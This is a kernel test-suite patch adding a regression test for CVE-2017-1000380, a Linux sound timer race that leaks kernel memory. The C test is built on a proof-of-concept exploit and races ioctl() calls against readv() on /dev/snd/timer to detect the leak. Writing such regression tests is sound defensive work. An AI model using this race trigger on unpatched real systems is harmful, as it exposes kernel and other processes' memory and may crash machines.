[LTP] [PATCH v2] Add a regression test for CVE-2017-1000380
Michael Moese
mmoese@suse.de
Thu Jul 11 14:50:55 CEST 2019
A race condition was present in the linux kernel, which could lead to
a leak of arbitrary kernel memory to userspace applications.
The issue was fixed in those kernel commits:
http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728
This patch adds a regression test triggering this race condition.
Signed-off-by: Michael Moese <mmoese@suse.de>
---
Changes to v1:
- Initialize buffers in ioctl_thread() outside of the loop
- use return unused() instead of a void* cast of NULL in ioctl_thread()
- reset non-zero flag in run() for every iteration of the main loop
---
runtest/cve | 1 +
testcases/kernel/Makefile | 1 +
testcases/kernel/sound/.gitignore | 1 +
testcases/kernel/sound/Makefile | 12 +++
testcases/kernel/sound/snd_timer01.c | 140 +++++++++++++++++++++++++++
5 files changed, 155 insertions(+)
create mode 100644 testcases/kernel/sound/.gitignore
create mode 100644 testcases/kernel/sound/Makefile
create mode 100644 testcases/kernel/sound/snd_timer01.c
diff --git a/runtest/cve b/runtest/cve
index 031bcdc2a..33c9196e0 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -36,6 +36,7 @@ cve-2017-17052 cve-2017-17052
cve-2017-16939 cve-2017-16939
cve-2017-17053 cve-2017-17053
cve-2017-18075 pcrypt_aead01
+cve-2017-1000380 snd_timer01
cve-2018-5803 sctp_big_chunk
cve-2018-1000001 realpath01
cve-2018-19854 crypto_user01
diff --git a/testcases/kernel/Makefile b/testcases/kernel/Makefile
index 39d79c7d8..eff5b3e7d 100644
--- a/testcases/kernel/Makefile
+++ b/testcases/kernel/Makefile
@@ -52,6 +52,7 @@ SUBDIRS += connectors \
pty \
sched \
security \
+ sound \
timers \
tracing \
diff --git a/testcases/kernel/sound/.gitignore b/testcases/kernel/sound/.gitignore
new file mode 100644
index 000000000..57eae0593
--- /dev/null
+++ b/testcases/kernel/sound/.gitignore
@@ -0,0 +1 @@
+snd_timer
diff --git a/testcases/kernel/sound/Makefile b/testcases/kernel/sound/Makefile
new file mode 100644
index 000000000..5fdc7dd42
--- /dev/null
+++ b/testcases/kernel/sound/Makefile
@@ -0,0 +1,12 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir := ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CPPFLAGS += -D_GNU_SOURCE
+
+LDLIBS += -pthread
+
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/sound/snd_timer01.c b/testcases/kernel/sound/snd_timer01.c
new file mode 100644
index 000000000..80b03022a
--- /dev/null
+++ b/testcases/kernel/sound/snd_timer01.c
@@ -0,0 +1,140 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+/* Copyright (c) 2019 Michael Moese <mmoese@suse.com>
+ * Regression test for CVE-2017-1000380 based on the original PoC exploit
+ * by Alexander Potapenko <glider@google.com>
+ *
+ * Be careful! This test may crash your kernel!
+ *
+ * The test performs several ioctl() parallel with readv() on the same
+ * file descriptor to /dev/snd/timer. A buggy kernel will leak memory
+ * to the process, which may contain information from the the kernel or
+ * any other process on the system.
+ *
+ * The issue was fixed with
+ * http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
+ * http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728
+ */
+
+#include "config.h"
+#include "tst_test.h"
+#include "tst_taint.h"
+#include "tst_fuzzy_sync.h"
+#include "tst_safe_macros.h"
+#include "tst_safe_pthread.h"
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <sys/ioctl.h>
+#include <sound/asound.h>
+
+#define MAX_BUFSIZE 1024
+
+static int snd_fd;
+static struct tst_fzsync_pair fzsync_pair;
+
+static void *ioctl_thread(void *unused)
+{
+ (void) unused;
+ int tread_arg = 1;
+ struct snd_timer_select ts;
+ struct snd_timer_params tp;
+
+ memset(&ts, 0, sizeof(ts));
+ ts.id.dev_class = 1;
+
+ memset(&tp, 0, sizeof(tp));
+ tp.ticks = 1;
+ tp.filter = 0xf;
+
+ while (tst_fzsync_run_b(&fzsync_pair)) {
+
+ ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
+
+ ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
+
+ ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);
+
+ ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
+
+ tst_fzsync_end_race_b(&fzsync_pair);
+ }
+ return unused;
+}
+
+static void setup(void)
+{
+ tst_fzsync_pair_init(&fzsync_pair);
+ tst_taint_init(TST_TAINT_W | TST_TAINT_D);
+ snd_fd = SAFE_OPEN("/dev/snd/timer",
+ O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0);
+}
+
+static void cleanup(void)
+{
+ tst_fzsync_pair_cleanup(&fzsync_pair);
+ SAFE_CLOSE(snd_fd);
+}
+
+static void run(void)
+{
+ size_t len;
+ int size;
+ struct iovec iov;
+ pthread_t th;
+ char read_buf[MAX_BUFSIZE];
+ int i, nz;
+ pthread_attr_t thread_attr;
+
+ pthread_attr_init(&thread_attr);
+ pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
+ SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL);
+
+ iov.iov_base = read_buf;
+ iov.iov_len = sizeof(read_buf);
+
+ while (tst_fzsync_run_a(&fzsync_pair)) {
+ nz = 0;
+ memset(read_buf, 0, sizeof(read_buf));
+ size = readv(snd_fd, &iov, 1);
+
+ tst_fzsync_end_race_a(&fzsync_pair);
+
+ /* check if it could be a valid ioctl result */
+ if (size == 0)
+ continue;
+
+ /* check if the buffer is non-empty */
+ for (i = 0; i < size; i++) {
+ if (read_buf[i]) {
+ nz = 1;
+ break;
+ }
+ }
+ if (!nz)
+ continue;
+
+ len = strlen(read_buf);
+ /* the kernel's struct snd_timer_read is two unsigned integers*/
+ if (len <= 2 * sizeof(unsigned int))
+ continue;
+
+ tst_res(TFAIL, "kernel seems vulnerable");
+ return;
+ }
+
+ if (tst_taint_check() != 0)
+ tst_res(TFAIL, "kernel seems vulnerable");
+ else
+ tst_res(TPASS, "kernel seems not vulnerable");
+}
+
+static struct tst_test test = {
+ .test_all = run,
+ .setup = setup,
+ .cleanup = cleanup,
+};
--
2.22.0
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